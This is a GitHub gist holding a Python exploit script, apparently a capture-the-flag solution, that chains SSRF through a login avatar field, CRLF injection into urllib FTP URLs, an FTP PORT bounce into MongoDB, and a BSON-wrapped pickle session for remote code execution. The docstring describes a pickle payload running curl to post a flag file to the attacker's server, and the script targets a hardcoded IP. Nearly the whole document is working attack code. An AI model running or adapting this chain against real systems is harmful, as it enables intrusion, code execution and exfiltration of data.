Skip to content

Instantly share code, notes, and snippets.

@Sp3eD-X
Created January 19, 2021 06:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Sp3eD-X/3676825d44b5a57f4b34998c9a0bd61e to your computer and use it in GitHub Desktop.
Save Sp3eD-X/3676825d44b5a57f4b34998c9a0bd61e to your computer and use it in GitHub Desktop.
import requests
import string
import random
import socket
"""
TL;DR
1- SSRF to ftp through the avatar parameter on /login
2- Abuse the CRLF injection in python urllib to inject ftp commands
3- make a bson serialization payload and put the session val to be a pickle serialization to gain RCE
4- upload file to ftp using STOR command to create a file and PORT command to connect to our socket and then write files to ftp
5- connect to mongodb and push the payload with ftp PORT command and RETR command to make mongodb retreive the file.
first create a bson serialization payload. I did that using nodejs with the bson module:
const bson = require("bson");
const fs = require("fs");
// Serialize a document
// don't forget to make a pickel payload, my payload was just "curl -X POST http://<VPS>/ --data `/readflag`"
const doc = {
insert: "sessions", $db: "admin", documents: [{
"id": "session:c74289f1-0209-4ad7-ad0a-cde158a4588c",
"val": Buffer.from(fs.readFileSync("pickle").toString(), "base64"),
"expiration": new Date("2025-02-18")
}]};
const data = bson.serialize(doc); // serialize our payload
/*
Now we need to wrap our bson payload with an OP_MESSAGE
0x5D, 0x00, 0x00, 0x00, // total message size, including this
0x00, 0x00, 0x00, 0x00, // requestID (can be 0)
0x00, 0x00, 0x00, 0x00, // responseTo (unused for sending)
0xDD, 0x07, 0x00, 0x00, // opCode = 2013 = 0x7DD for OP_MSG
0x00, 0x00, 0x00, 0x00, // message flags (not needed)
0x00, // only data section, type 0
*/
let wrapper = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let payload = Buffer.concat([wrapper, data]);
payload.writeUInt32LE(payload.length, 0);
fs.writeFileSync("bson-serialized", payload);
"""
ftp_host = "172.20.0.2:8877"
attacker_port = 9000
attacker_host = "<VPS>" # your vps IP
file_name = "test"
mongo_port = 27017
mongo_host = "172.20.0.5"
def randstr():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
# First Stage is to upload a file with ftp STOR command and write a conetent with ftp PORT command using our socket.
def upload_file():
file_contents = open("bson-serialized", "rb")
ftp_cmds = [
"USER fan",
"PASS root",
"TYPE A",
"PORT {},{},{}".format(attacker_host.replace('.', ','), attacker_port >> 8, attacker_port & 0xff),
"STOR " + file_name
]
# injecting ftp commands in the username
inject = 'ftp://fan\r\n{}:root@'.format('\r\n'.join(ftp_cmds)) + ftp_host
# starting a socket to listen for a connection from ftp
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", attacker_port))
sock.listen(1)
data = {
"username": randstr(),
"password": "test",
"avatar": inject,
"submit": "Go!"
}
req = requests.post("http://23.98.68.11:8088/login", data=data)
# Writing the content to ftp
(connection, address) = sock.accept()
connection.sendall(file_contents.read())
# Now we will use PORT ftp command to SSRF to mongodb and use RETR to push the payload into mongodb
def push_payload():
ftp_cmds = [
"USER fan",
"PASS root",
"TYPE I",
"PORT {},{},{}".format(mongo_host.replace('.', ','), mongo_port >> 8, mongo_port & 0xff),
"RETR " + file_name
]
# injecting ftp commands in the username with CRLF injection
inject = "ftp://fan\r\n{}:root@".format("\r\n".join(ftp_cmds)) + ftp_host
data = {
"username": randstr(),
"password": "test",
"avatar": inject,
"submit": "Go!"
}
req = requests.post("http://23.98.68.11:8088/login", data=data)
if __name__ == "__main__":
upload_file()
# Send the payload more than one time to make sure it pushed the session into mongodb
push_payload()
push_payload()
push_payload()
push_payload()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment